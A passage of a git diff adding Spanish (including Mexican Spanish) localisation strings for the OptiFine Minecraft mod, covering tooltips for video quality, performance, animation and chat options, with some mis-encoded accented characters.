+of.options.STARS=Cielo estrellado +of.options.STARS.tooltip.1=Visibilidad de estrellas en el cielo nocturno +of.options.STARS.tooltip.2= Sà - estrellas, más lento +of.options.STARS.tooltip.3= NO - sin estrellas, más rápido + +of.options.SUN_MOON=Sol/Luna +of.options.SUN_MOON.tooltip.1=Visibilidad del Sol y la Luna +of.options.SUN_MOON.tooltip.2= Sà - el Sol y la Luna Sà son visibles (por defecto) +of.options.SUN_MOON.tooltip.3= NO - el Sol y la Luna NO son visibles (rápido) + +of.options.SHOW_CAPES=Capas +of.options.SHOW_CAPES.tooltip.1=Capas de jugadores +of.options.SHOW_CAPES.tooltip.2= Sà - mostrar las capas de los jugadores (por defecto) +of.options.SHOW_CAPES.tooltip.3= NO - ocultar las capas de los jugadores +of.options.capeOF.copyEditorLink=Copiar enlace + +of.options.TRANSLUCENT_BLOCKS=Bl. translúcidos +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Bloques translúcidos +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Detallados - mezcla de colores perfecta (por defecto) +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Rápidos - mezcla de colores cutre (más rápido) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Esta opción afecta a los bloques translúcidos que tienen +of.options.TRANSLUCENT_BLOCKS.tooltip.6=color pero sólo cuando se colocan uno detrás del otro +of.options.TRANSLUCENT_BLOCKS.tooltip.7=con un bloque vacío entre ambos. +of.options.TRANSLUCENT_BLOCKS.tooltip.8=Afecta a: cristal tintado, agua, hielo... + +of.options.HELD_ITEM_TOOLTIPS=Texto en barra inferior +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Nombre de objetos en la barra inferior +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= Sà - mostrar nombres (por defecto) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= NO - no mostrar nombres (como antiguamente) + +of.options.DROPPED_ITEMS=Objetos +of.options.DROPPED_ITEMS.tooltip.1=Calidad de los objetos en el suelo sin recoger +of.options.DROPPED_ITEMS.tooltip.2= Por defecto - depende del ajuste de gráficos +of.options.DROPPED_ITEMS.tooltip.3= Rápidos - objetos en 2D, más rápido +of.options.DROPPED_ITEMS.tooltip.4= Detallados - objetos en 3D, más lento pero más bonito + +options.entityShadows.tooltip.1=Sombras de entidades +options.entityShadows.tooltip.2= Sà - mostrar sombras en las entidades +options.entityShadows.tooltip.3= NO - no mostrar sombras en las entidades + +of.options.VIGNETTE=Bordes +of.options.VIGNETTE.tooltip.1=(Efecto viñeta) oscurece las esquinas de la pantalla +of.options.VIGNETTE.tooltip.2= Por defecto - depende del ajuste de gráficos +of.options.VIGNETTE.tooltip.3= Rápidos - efecto viñeta desactivado (más rápido) +of.options.VIGNETTE.tooltip.4= Detallados - efecto viñeta activado (más lento) +of.options.VIGNETTE.tooltip.5= +of.options.VIGNETTE.tooltip.6=Los FPS pueden disminuir considerablemente al activarse, +of.options.VIGNETTE.tooltip.7=sobretodo en pantalla completa. +of.options.VIGNETTE.tooltip.8=El efecto viñeta se puede deshabilitar sin ningún problema. + +of.options.DYNAMIC_FOV=Campo de visión dinámico +of.options.DYNAMIC_FOV.tooltip.1=Campo de visión dinámico +of.options.DYNAMIC_FOV.tooltip.2= Sà - activarlo (por defecto) +of.options.DYNAMIC_FOV.tooltip.3= NO - desactivarlo +of.options.DYNAMIC_FOV.tooltip.4= +of.options.DYNAMIC_FOV.tooltip.5=Cambiar el campo de visión (FOV) al volar, correr o +of.options.DYNAMIC_FOV.tooltip.6=apuntar con un arco. + +of.options.DYNAMIC_LIGHTS=Ilum. dinámica +of.options.DYNAMIC_LIGHTS.tooltip.1=Iluminación dinámica +of.options.DYNAMIC_LIGHTS.tooltip.2= NO - sin. (por defecto) +of.options.DYNAMIC_LIGHTS.tooltip.3= Rápidos - básica. (se actualiza cada 500ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Detallados - perfecta. (se actualiza en tiempo real) +of.options.DYNAMIC_LIGHTS.tooltip.5= +of.options.DYNAMIC_LIGHTS.tooltip.6=Permite a algunos objetos emitir luz sin estar colocados. +of.options.DYNAMIC_LIGHTS.tooltip.7=Al equipar uno de esos objetos en la mano, o al tirarlos, se +of.options.DYNAMIC_LIGHTS.tooltip.8=iluminará el entorno (afecta a: antorchas, piedra luminosa...). + +options.biomeBlendRadius.tooltip.1=El efecto suaviza los colores entre biomas +options.biomeBlendRadius.tooltip.2= NO - sin efecto de transición (más rápido) +options.biomeBlendRadius.tooltip.3= 5x5 - transición normal (por defecto) +options.biomeBlendRadius.tooltip.4= 15x15 - transición detallada (más lento) +options.biomeBlendRadius.tooltip.5= +options.biomeBlendRadius.tooltip.6=Los valores altos pueden generar picos de lag +options.biomeBlendRadius.tooltip.7=y reducir la velocidad de carga de los chunks. + +# Performance + +of.options.SMOOTH_FPS=Estabilizar FPS +of.options.SMOOTH_FPS.tooltip.1=Establizar FPS nivelando el búfer del controlador gráfico +of.options.SMOOTH_FPS.tooltip.2= NO - sin estabilización +of.options.SMOOTH_FPS.tooltip.3= Sà - con estabilización +of.options.SMOOTH_FPS.tooltip.4= +of.options.SMOOTH_FPS.tooltip.5=Esta opción depende del controlador gráfico y su efecto +of.options.SMOOTH_FPS.tooltip.6=no siempre es notorio. + +of.options.SMOOTH_WORLD=Estabilizar mundos +of.options.SMOOTH_WORLD.tooltip.1=Eliminar los picos de lag causados por el servidor interno +of.options.SMOOTH_WORLD.tooltip.2= NO - sin estabilización +of.options.SMOOTH_WORLD.tooltip.3= Sà - con estabilización +of.options.SMOOTH_WORLD.tooltip.4= +of.options.SMOOTH_WORLD.tooltip.5=Esta opción estabiliza los FPS distribuyendo la carga del +of.options.SMOOTH_WORLD.tooltip.6=servidor interno. +of.options.SMOOTH_WORLD.tooltip.7=No funciona en multijugador. + +of.options.FAST_RENDER=Renderizado rápido +of.options.FAST_RENDER.tooltip.1=Renderizar rápidamente +of.options.FAST_RENDER.tooltip.2= NO - renderizado estandar (por defecto) +of.options.FAST_RENDER.tooltip.3= Sà - renderizado optimizado (rápido) +of.options.FAST_RENDER.tooltip.4= +of.options.FAST_RENDER.tooltip.5=Usa un algoritmo de renderizado mejorado que reduce el +of.options.FAST_RENDER.tooltip.6=consumo de GPU y aumenta los FPS. + +of.options.FAST_MATH=Matemática rápida +of.options.FAST_MATH.tooltip.1=Matemática rápida +of.options.FAST_MATH.tooltip.2= NO - estandar (por defecto) +of.options.FAST_MATH.tooltip.3= Sà - sistema rápido +of.options.FAST_MATH.tooltip.4= +of.options.FAST_MATH.tooltip.5=Usar las funciones sin() y cos() de Java de forma +of.options.FAST_MATH.tooltip.6=optimizada para mejorar el uso de caché del CPU y +of.options.FAST_MATH.tooltip.7=aumentar los FPS. + +of.options.CHUNK_UPDATES=Actualizaciones de chunks +of.options.CHUNK_UPDATES.tooltip.1=Actualizaciones de chunks +of.options.CHUNK_UPDATES.tooltip.2= 1 - carga lenta, más FPS (por defecto) +of.options.CHUNK_UPDATES.tooltip.3= 3 - carga rápida, menos FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - carga superrápida, muchos menos FPS +of.options.CHUNK_UPDATES.tooltip.5= +of.options.CHUNK_UPDATES.tooltip.6=Número de chunks renderizados por cada fotograma. +of.options.CHUNK_UPDATES.tooltip.7=Los valores más altos pueden desestabilizar los FPS. + +of.options.CHUNK_UPDATES_DYNAMIC=Actualización dinámica +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Actualizaciones de chunks dinámicas +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= NO - (por defecto) carga normal por fotograma +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Sà - más actualizaciones mientras estés quieto +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4= +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=Esta opción fuerza la actualización de chunks mientras +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.6=estás quieto para cargar el mundo más rápidamente. + +of.options.LAZY_CHUNK_LOADING=Carga de chunks vaga +of.options.LAZY_CHUNK_LOADING.tooltip.1=Carga de chunks vaga +of.options.LAZY_CHUNK_LOADING.tooltip.2= NO - carga de chunks predeterminada +of.options.LAZY_CHUNK_LOADING.tooltip.3= Sà - carga de chunks vaga (estabiliza la carga) +of.options.LAZY_CHUNK_LOADING.tooltip.4= +of.options.LAZY_CHUNK_LOADING.tooltip.5=Suaviza la carga interna de chunks distribuyéndola entre +of.options.LAZY_CHUNK_LOADING.tooltip.6=varios ticks. Desactívalo si algunas partes del mundo no +of.options.LAZY_CHUNK_LOADING.tooltip.7=se cargan correctamente. +of.options.LAZY_CHUNK_LOADING.tooltip.8=Sólo funciona en mundos locales con CPUs de un núcleo. + +of.options.RENDER_REGIONS=Render. por regiones +of.options.RENDER_REGIONS.tooltip.1=Renderizado por regiones +of.options.RENDER_REGIONS.tooltip.2= NO - no usar renderizado por regiones (por defecto) +of.options.RENDER_REGIONS.tooltip.3= Sà - usar renderizado por regiones +of.options.RENDER_REGIONS.tooltip.4= +of.options.RENDER_REGIONS.tooltip.5=Permite renderizar el terreno muy rápidamente +of.options.RENDER_REGIONS.tooltip.6=cuando te encuentras a una gran altura. +of.options.RENDER_REGIONS.tooltip.7= +of.options.RENDER_REGIONS.tooltip.8=Es más efectivo si se activa "Usar VBOs" o "VBO". + +of.options.SMART_ANIMATIONS=Animaciones inteligentes +of.options.SMART_ANIMATIONS.tooltip.1=Animaciones inteligentes +of.options.SMART_ANIMATIONS.tooltip.2= NO - no usar animaciones inteligentes (por defecto) +of.options.SMART_ANIMATIONS.tooltip.3= Sà - usar animaciones inteligentes +of.options.SMART_ANIMATIONS.tooltip.4= +of.options.SMART_ANIMATIONS.tooltip.5=Al activarse, sólo se animan las texturas visibles. +of.options.SMART_ANIMATIONS.tooltip.6=De esta forma se mejora mucho el rendimiento (más FPS). +of.options.SMART_ANIMATIONS.tooltip.7=Es muy útil cuando se usan grandes paquetes de mods +of.options.SMART_ANIMATIONS.tooltip.8=o paquetes de recursos de alta definición. + +# Animations + +of.options.animation.allOn=TODO Sà +of.options.animation.allOff=TODO NO +of.options.animation.dynamic=Dinámicas + +of.options.ANIMATED_WATER=Agua +of.options.ANIMATED_LAVA=Lava +of.options.ANIMATED_FIRE=Fuego +of.options.ANIMATED_PORTAL=Portales +of.options.ANIMATED_REDSTONE=Redstone +of.options.ANIMATED_EXPLOSION=Explosiones +of.options.ANIMATED_FLAME=Llamaradas +of.options.ANIMATED_SMOKE=Humo +of.options.VOID_PARTICLES=Partículas del vacío +of.options.WATER_PARTICLES=Partículas del agua +of.options.RAIN_SPLASH=Salpicaduras de lluvia +of.options.PORTAL_PARTICLES=Partículas de portales +of.options.POTION_PARTICLES=Partículas de pociones +of.options.DRIPPING_WATER_LAVA=Goteo de agua/lava +of.options.ANIMATED_TERRAIN=Terreno animado +of.options.ANIMATED_TEXTURES=Texturas animadas +of.options.FIREWORK_PARTICLES=Partículas de cohetes + +# Other + +of.options.LAGOMETER=Medidor de lag +of.options.LAGOMETER.tooltip.1=Mostrar el medidor de lag al usar F3. +of.options.LAGOMETER.tooltip.2=* Naranja - Basura en la memoria +of.options.LAGOMETER.tooltip.3=* Cian - Ticks +of.options.LAGOMETER.tooltip.4=* Azul - Ejecutables programados +of.options.LAGOMETER.tooltip.5=* Morado - Carga de chunks +of.options.LAGOMETER.tooltip.6=* Rojo - Actualizaciones de chunks +of.options.LAGOMETER.tooltip.7=* Amarillo - Chequeo de visibilidad +of.options.LAGOMETER.tooltip.8=* Verde - Terreno renderizado + +of.options.PROFILER=Perfil debug +of.options.PROFILER.tooltip.1=Debug (también llamado depuración) +of.options.PROFILER.tooltip.2= Sà - perfil debug activado, más lento +of.options.PROFILER.tooltip.3= NO - perfil debug desactivado, más rápido +of.options.PROFILER.tooltip.4=El perfil debug reúne y muestra más datos +of.options.PROFILER.tooltip.5=cuando se utiliza F3. + +of.options.WEATHER=Tiempo atmosférico +of.options.WEATHER.tooltip.1= +of.options.WEATHER.tooltip.2= Sà - tiempo atmosférico, más lento +of.options.WEATHER.tooltip.3= NO - tiempo atmosférico, más rápido +of.options.WEATHER.tooltip.4= +of.options.WEATHER.tooltip.5=Afecta a: lluvia, nieve y tormentas. +of.options.WEATHER.tooltip.6=Esta opción no funciona en multijugador. + +of.options.time.dayOnly=Sólo día +of.options.time.nightOnly=Sólo noche + +of.options.TIME=Reloj +of.options.TIME.tooltip.1=Reloj (tiempo) +of.options.TIME.tooltip.2= Por defecto - ciclos normales de día/noche +of.options.TIME.tooltip.3= Sólo día - sólo es de día +of.options.TIME.tooltip.4= Sólo noche - sólo es de noche +of.options.TIME.tooltip.5=Esta opción sólo funciona en modo creativo y solamente +of.options.TIME.tooltip.6=en mundos locales (en multijugador NO). + +options.fullscreen.tooltip.1=Pantalla completa +options.fullscreen.tooltip.2= Sà - jugar en pantalla completa +options.fullscreen.tooltip.3= NO - jugar en ventana +options.fullscreen.tooltip.4=Al jugar en pantalla completa el juego puede funcionar +options.fullscreen.tooltip.5=mejor o peor, depende de la tarjeta gráfica. + +of.options.FULLSCREEN_MODE=Resolución +of.options.FULLSCREEN_MODE.tooltip.1=Resolución de pantalla completa +of.options.FULLSCREEN_MODE.tooltip.2= Por defecto - resolución del monitor, más lento +of.options.FULLSCREEN_MODE.tooltip.3= Ancho x alto - otra resolución, puede ir más rápido +of.options.FULLSCREEN_MODE.tooltip.4=La resolución cambiará en la pantalla completa (F11). +of.options.FULLSCREEN_MODE.tooltip.5=Normalmente las más bajas aumentan el rendimiento. + +of.options.SHOW_FPS=Mostrar FPS +of.options.SHOW_FPS.tooltip.1=Mostrar FPS y datos de renderizado +of.options.SHOW_FPS.tooltip.2= C: - chunks renderizados +of.options.SHOW_FPS.tooltip.3= E: - entidades renderizadas + "block entities" +of.options.SHOW_FPS.tooltip.4= U: - actualizaciones de chunks +of.options.SHOW_FPS.tooltip.5= +of.options.SHOW_FPS.tooltip.6=Estos reducidos datos sólo se muestran cuando no se +of.options.SHOW_FPS.tooltip.7=usa F3. + +of.options.save.default=Original (2s) +of.options.save.20s=20s +of.options.save.3min=3min +of.options.save.30min=30min + +of.options.AUTOSAVE_TICKS=Autoguardado +of.options.AUTOSAVE_TICKS.tooltip.1=Intervalo del autoguardado +of.options.AUTOSAVE_TICKS.tooltip.2=El original del juego (cada 2 seg.) NO SE RECOMIENDA. +of.options.AUTOSAVE_TICKS.tooltip.3=Ponerlo cada poco tiempo puede causar mal rendimiento. + +options.anaglyph.tooltip.1=Visión en 3D + +of.options.SCREENSHOT_SIZE=Capturas +of.options.SCREENSHOT_SIZE.tooltip.1=Tamaño de las capturas de pantalla +of.options.SCREENSHOT_SIZE.tooltip.2= Por defecto - tamaño normal +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - tamaños personalizados +of.options.SCREENSHOT_SIZE.tooltip.4= +of.options.SCREENSHOT_SIZE.tooltip.5=Las capturas ocuparán más espacio al aumentar el tamaño. +of.options.SCREENSHOT_SIZE.tooltip.6=No es compatible con Renderizado rápido ni con Antialiasing. +of.options.SCREENSHOT_SIZE.tooltip.7=Requiere que tu tarjeta gráfica soporte Framebuffer. + +of.options.ADVANCED_TOOLTIPS=Descripciones de objetos +of.options.ADVANCED_TOOLTIPS.tooltip.1=Descripciones de objetos en el inventario +of.options.ADVANCED_TOOLTIPS.tooltip.2= Sà - mostrar descripciones +of.options.ADVANCED_TOOLTIPS.tooltip.3= NO - no mostras descripciones (por defecto) +of.options.ADVANCED_TOOLTIPS.tooltip.4= +of.options.ADVANCED_TOOLTIPS.tooltip.5=Esta opción permite ver información más detallada sobre +of.options.ADVANCED_TOOLTIPS.tooltip.6=objetos (ID, durabilidad) y shaders (ID, fuente, +of.options.ADVANCED_TOOLTIPS.tooltip.7=valor predeterminado). + +of.options.SHOW_GL_ERRORS=Mostrar errores de GL +of.options.SHOW_GL_ERRORS.tooltip.1=Mostrar errores de OpenGL +of.options.SHOW_GL_ERRORS.tooltip.2=Al activarse, los errores se muestran en el chat. +of.options.SHOW_GL_ERRORS.tooltip.3=Desactívalo si hay un problema irresoluble para +of.options.SHOW_GL_ERRORS.tooltip.4=que los errores no te molesten. +of.options.SHOW_GL_ERRORS.tooltip.5= +of.options.SHOW_GL_ERRORS.tooltip.6=Aunque se desactive, los errores siguen apareciendo en +of.options.SHOW_GL_ERRORS.tooltip.7=el registro (log) y pueden seguir causando FPS inestables. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Fondo de chat +of.options.CHAT_BACKGROUND.tooltip.1=Fondo de chat +of.options.CHAT_BACKGROUND.tooltip.2= Por defecto - el fondo aparece con un tamaño estático +of.options.CHAT_BACKGROUND.tooltip.3= Compacto - el fondo aparece con un tamaño adaptado al texto +of.options.CHAT_BACKGROUND.tooltip.4= NO - sin fondo + +of.options.CHAT_SHADOW=Sombreado de chat +of.options.CHAT_SHADOW.tooltip.1=Añadir sombra al texto del chat +of.options.CHAT_SHADOW.tooltip.2= Sà - sombrearlo +of.options.CHAT_SHADOW.tooltip.3= NO - sin sombrearlo diff --git a/src/assets/minecraft/optifine/lang/es_mx.lang b/src/assets/minecraft/optifine/lang/es_mx.lang new file mode 100644 index 00000000..446c1742 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/es_mx.lang @@ -0,0 +1,528 @@ +# General +of.general.ambiguous=ambiguo +of.general.custom=Personalizado +of.general.from=De +of.general.id=ID +of.general.restart=reiniciar +of.general.smart=Dinámico + +# Message +of.message.aa.shaders1=El anti-aliasing no es compatible con Shaders. +of.message.aa.shaders2=Desactiva Shaders para habilitar esta opción. + +of.message.af.shaders1=El filtrado anisotrópico no es compatible con Shaders. +of.message.af.shaders2=Desactiva Shaders para habilitar esta opción. + +of.message.fr.shaders1=El renderizado rápido no es compatible con Shaders. +of.message.fr.shaders2=Desactiva Shaders para habilitar esta opción. + +of.message.shaders.aa1=Shaders no es compatible con el anti-aliasing activo. +of.message.shaders.aa2=Desactiva la opción ‘anti-aliasing’ en el menú ‘calidad’ y reinicia el juego. + +of.message.shaders.af1=Shaders no es compatible con el filtrado anisótropico activo. +of.message.shaders.af2=Desactiva la opción ‘filtrado antisotrópico’ en el menú ‘calidad’. + +of.message.shaders.fr1=Shaders no es compatible con el renderizado rapido activo. +of.message.shaders.fr2=Desactiva la opción ‘renderizado rapido' en el menú ‘rendimiento’. + +of.message.newVersion=§fUna nueva versión de §eOptiFine §festá disponible: §e%s§f +of.message.java64Bit=§fPrueba instalar §eJava versión de 64bits §fpara incrementar el rendimiento. +of.message.openglError=§eError de OpenGL§f: %s (%s) + +of.message.shaders.loading=Cargando shaders: %s + +of.message.other.reset=¿Quieres reiniciar la configuración de video a los valores de inicio? + +# Video settings + +options.graphics.tooltip.1=Calidad visual. +options.graphics.tooltip.2= Rápida - Mayor velocidad. +options.graphics.tooltip.3= Detallada - Mejor apariencia. +options.graphics.tooltip.4=Cambia la apariencia de nubes, hojas, agua, +options.graphics.tooltip.5=sombras y bloques con pasto. + +of.options.renderDistance.extreme=Extremo + +options.renderDistance.tooltip.1=Distancia de renderizado. +options.renderDistance.tooltip.2= 2 Mínimo - 32 bloques. (más rápido) +options.renderDistance.tooltip.3= 4 Corto - 64 bloques. +options.renderDistance.tooltip.4= 8 Normal - 128 bloques. +options.renderDistance.tooltip.5= 16 Lejano - 256 bloques. +options.renderDistance.tooltip.6= 32 Extremo - 512 bloques. (más lento) +options.renderDistance.tooltip.7=La distancia de renderizado extrema demanda más recursos. +options.renderDistance.tooltip.8=Valores sobre de 16 solo son efectivos en mundos locales. + +options.ao.tooltip.1=Iluminación suave. +options.ao.tooltip.2= NO - Sin suavizado de iluminación. (rápido) +options.ao.tooltip.3= Mínima - Simple, rudo, inceirto. (lento) +options.ao.tooltip.4= Máxima - Agradable, uniforme, neto. (más lento) + +options.framerateLimit.tooltip.1=Restricción de FPS. +options.framerateLimit.tooltip.2= VSync - Reduce los FPS a 60, 30 o 20. +options.framerateLimit.tooltip.3= 5-255 - Cambiante. +options.framerateLimit.tooltip.4= Ilimitados - Excento, sin límites. +options.framerateLimit.tooltip.5=Los cuadros por segundo son reducidos aun si el +options.framerateLimit.tooltip.6=límite no es alcanzado. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Suavizado de iluminación +of.options.AO_LEVEL.tooltip.1=Nivel de iluminación suave. +of.options.AO_LEVEL.tooltip.2= NO - Sin sombras. +of.options.AO_LEVEL.tooltip.3= 50%% - Sombras claras. +of.options.AO_LEVEL.tooltip.4= 100%% - Sombras oscuras. + +options.viewBobbing.tooltip.1=Movimiento de la cámara al caminar. Más realista. +options.viewBobbing.tooltip.2=Para mejores resultados, desactivar cundo utilice mipmaps. + +options.guiScale.tooltip.1=Escala de interfaz. +options.guiScale.tooltip.2=Entre más pequeño podría ser más rápido. + +options.vbo=VBO +options.vbo.tooltip.1=Vertex Buffer Objects (OpenGL). +options.vbo.tooltip.2=Utiliza un modelo alternativo de renderizado que incrementa +options.vbo.tooltip.3=la velocidad de 5 a 10%% que el renderizado habitual. + +options.gamma.tooltip.1=Incrementa el brillo en objetos oscuros. +options.gamma.tooltip.2= Moderado - Brillo por defecto. +options.gamma.tooltip.3= Claro - Máximo brillo. +options.gamma.tooltip.4=Esta opción no afecta el brillo de objetos +options.gamma.tooltip.5=completamente oscurecidos. + +options.anaglyph.tooltip.1=Anaglifo 3D. +options.anaglyph.tooltip.2=Habilita un efecto estereoscópico 3D con diferente color +options.anaglyph.tooltip.3=para cada ojo. +options.anaglyph.tooltip.4=Requiere de lentes 3D rojo-azul para una vista apropiada. + +options.blockAlternatives.tooltip.1=Bloques alternativos. +options.blockAlternatives.tooltip.2=Usa modelos alternativos en algunos bloques. +options.blockAlternatives.tooltip.3=Depende del paquete de texturas seleccionado. + +of.options.FOG_FANCY=Neblina +of.options.FOG_FANCY.tooltip.1=Tipo de neblina. +of.options.FOG_FANCY.tooltip.2= NO - Sin neblina, rápido. +of.options.FOG_FANCY.tooltip.3= Rápida - Neblina ligera. +of.options.FOG_FANCY.tooltip.4= Detallada - Neblina lenta, se ve mejor. +of.options.FOG_FANCY.tooltip.5=La neblina detallada solo está disponible si su tarjeta +of.options.FOG_FANCY.tooltip.6=de video lo soporta. + +of.options.FOG_START=Distancia de neblina +of.options.FOG_START.tooltip.1=Donde empieza a verse la neblina. +of.options.FOG_START.tooltip.2= 0.2 - Desde cerca del jugador. +of.options.FOG_START.tooltip.3= 0.8 - Desde lejos del jugador. +of.options.FOG_START.tooltip.4=Esta opción normalmente no afecta el rendimiento. + +of.options.CHUNK_LOADING=Carga de Chunks +of.options.CHUNK_LOADING.tooltip.1=Opción de carga de los pedazos del mapa (chunks). +of.options.CHUNK_LOADING.tooltip.2= Normal - Cuadros por segundo (FPS) inestables al cargar chunks. +of.options.CHUNK_LOADING.tooltip.3= Agradable - FPS constantes. +of.options.CHUNK_LOADING.tooltip.4= Multi-Core - FPS invariables y acelera la carga de los mapas. +of.options.CHUNK_LOADING.tooltip.5=Las opciónes de Agradable y Multi-Core estabilizan y evitan que el juego +of.options.CHUNK_LOADING.tooltip.6=se trabe al cargar chunks. +of.options.CHUNK_LOADING.tooltip.7=Multi-Core aumenta hasta tres veces la velocidad de carga de los mapas +of.options.CHUNK_LOADING.tooltip.8=y también aumenta los FPS ocupando un segundo núcleo del procesador. +of.options.chunkLoading.smooth=Agradable +of.options.chunkLoading.multiCore=Multi-Core + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=NINGUNO +of.options.shaders.packDefault=(interno) + +of.options.shaders.ANTIALIASING=Anti-aliasing +of.options.shaders.NORMAL_MAP=Mapa normal +of.options.shaders.SPECULAR_MAP=Mapa espectacular +of.options.shaders.RENDER_RES_MUL=Rendimiento +of.options.shaders.SHADOW_RES_MUL=Sombras +of.options.shaders.HAND_DEPTH_MUL=Profundidad +of.options.shaders.CLOUD_SHADOW=Sombra de nubes +of.options.shaders.OLD_LIGHTING=Iluminación vieja +of.options.shaders.SHADER_PACK=Paquete de shader + +of.options.shaders.shadersFolder=Folder de Shaders +of.options.shaders.shaderOptions=Opciones del Shader... + +of.options.shaderOptionsTitle=Opciones del Shader + +of.options.quality=Calidad... +of.options.qualityTitle=Configurar calidad. + +of.options.details=Detalles... +of.options.detailsTitle=Configurar detalles. + +of.options.performance=Rendimiento... +of.options.performanceTitle=Configuración del rendimiento. + +of.options.animations=Animaciones... +of.options.animationsTitle=Configuraciones de animaciones. + +of.options.other=Otro... +of.options.otherTitle=Otras configuraciones + +of.options.other.reset=Reiniciar la configuracion de video... + +of.shaders.profile=Perfil + +# Quality + +of.options.mipmap.bilinear=Bilinial +of.options.mipmap.linear=Lineal +of.options.mipmap.nearest=Más cercano +of.options.mipmap.trilinear=Trilineal + +options.mipmapLevels.tooltip.1=Efecto visual que mejora la apariencia de objetos lejanos +options.mipmapLevels.tooltip.2=suavizando los detalles de la textura al redimensionarla. +options.mipmapLevels.tooltip.3= NO - Sin suavizar. +options.mipmapLevels.tooltip.4= 1 – Suavizado mínimo. +options.mipmapLevels.tooltip.5= 4 – Suavizado máximo. +options.mipmapLevels.tooltip.6=Esta opción no suele afectar el rendimiento. + +of.options.MIPMAP_TYPE=Tipo de mipmap +of.options.MIPMAP_TYPE.tooltip.1=Efecto visual que mejora la apariencia de objetos lejanos +of.options.MIPMAP_TYPE.tooltip.2=suavizando los detalles de la textura. +of.options.MIPMAP_TYPE.tooltip.3= Más cercano - Suavizado mínimo. (más rápido) +of.options.MIPMAP_TYPE.tooltip.4= Lineal – Suavizado bajo. +of.options.MIPMAP_TYPE.tooltip.5= Bilineal – Suavizado alto. +of.options.MIPMAP_TYPE.tooltip.6= Trilineal – Suavizado máximo. (más lento) + + +of.options.AA_LEVEL=Anti-aliasing +of.options.AA_LEVEL.tooltip.1=Anti-aliasing. +of.options.AA_LEVEL.tooltip.2= NO - Por defecto. (rápido) +of.options.AA_LEVEL.tooltip.3= 2-16 – Líneas y esquinas más definidas. (lento) +of.options.AA_LEVEL.tooltip.4=El antialiasing mejora y define los bordes de las líneas +of.options.AA_LEVEL.tooltip.5=y las profundas trancisiones de color. +of.options.AA_LEVEL.tooltip.6=Esta opción puede sustancialemnte disminuir los FPS. +of.options.AA_LEVEL.tooltip.7=No todos los niveles son soportados por todas las tarjetas de video. +of.options.AA_LEVEL.tooltip.8=Los cambios serán efectivos al reinicio. + +of.options.AF_LEVEL=Filtro anisotrópico +of.options.AF_LEVEL.tooltip.1=Filtrado anisotrópico. +of.options.AF_LEVEL.tooltip.2= NO - Por defecto. Sin efectos. (rápido) +of.options.AF_LEVEL.tooltip.3= 2-16 – Detalles más finos en texturas con mipmap. (lento) +of.options.AF_LEVEL.tooltip.4=El filtro anisotrópico reafirma detalles en texturas +of.options.AF_LEVEL.tooltip.5=que usan mipmap. +of.options.AF_LEVEL.tooltip.6=Esta opción puede disminuir los FPS. + +of.options.CLEAR_WATER=Claridad del agua +of.options.CLEAR_WATER.tooltip.1=Al sumergirse en ella. +of.options.CLEAR_WATER.tooltip.2= NO – Agua normal. +of.options.CLEAR_WATER.tooltip.3= Sà – Agua más transparente. + +of.options.RANDOM_ENTITIES=Mobs aleatorios +of.options.RANDOM_ENTITIES.tooltip.1=Mobs aleaotrios. +of.options.RANDOM_ENTITIES.tooltip.2= NO – Sin skins aleatorios de mobs. (rápido) +of.options.RANDOM_ENTITIES.tooltip.3= Sà – Skins de mobs aleatorios. (lento) +of.options.RANDOM_ENTITIES.tooltip.4=Esta opción habilita el uso de skins aleatorias para mobs por +of.options.RANDOM_ENTITIES.tooltip.5=lo que requiere de un paquete de texturas que los contenga. + +of.options.BETTER_GRASS=Pasto bonito +of.options.BETTER_GRASS.tooltip.1=Modifica como se ven los lados de los bloques de tierra con pasto. +of.options.BETTER_GRASS.tooltip.2= NO – Predeterminada. (rápido) +of.options.BETTER_GRASS.tooltip.3= Rápida – Todos los lados se ven de pasto. +of.options.BETTER_GRASS.tooltip.4= Detallada – Textura dinámica de pasto en los lados. (lento) + +of.options.BETTER_SNOW=Mejora de nieve +of.options.BETTER_SNOW.tooltip.1=Nieve especial. +of.options.BETTER_SNOW.tooltip.2= NO – Nieve por defecto. (rápido) +of.options.BETTER_SNOW.tooltip.3= Sà – Mejora la nieve. (lento) +of.options.BETTER_SNOW.tooltip.4=Muestra nieve debajo de los bloques transparentes como vallas, +of.options.BETTER_SNOW.tooltip.5=pasto alto, cuando su base está rodeada por bloques de nieve. + +of.options.CUSTOM_FONTS=Fuentes personalizadas +of.options.CUSTOM_FONTS.tooltip.1=Cambia la tipografía del texto. +of.options.CUSTOM_FONTS.tooltip.2= NO – Utiliza la fuente de letra por defecto. (rápido) +of.options.CUSTOM_FONTS.tooltip.3= Sà – Usar fuentes de letra personalizadas. (lento) +of.options.CUSTOM_FONTS.tooltip.4=Esta opción utiliza la fuente de letra que contenga el +of.options.CUSTOM_FONTS.tooltip.5=paquete de texturas seleccionado. + +of.options.CUSTOM_COLORS=Colores personalizadas +of.options.CUSTOM_COLORS.tooltip.1=Cambia los colores. +of.options.CUSTOM_COLORS.tooltip.2= NO - Por defecto. (rápido) +of.options.CUSTOM_COLORS.tooltip.3= Sà – Utiliza otros colores. (lento) +of.options.CUSTOM_COLORS.tooltip.4=Esta opción emplea los colores que disponga del +of.options.CUSTOM_COLORS.tooltip.5=paquete de texturas seleccionado. + +of.options.SWAMP_COLORS=Colores pantanosos +of.options.SWAMP_COLORS.tooltip.1=Colores pantanosos. +of.options.SWAMP_COLORS.tooltip.2= NO – No usa colores pantanosos. (rápido) 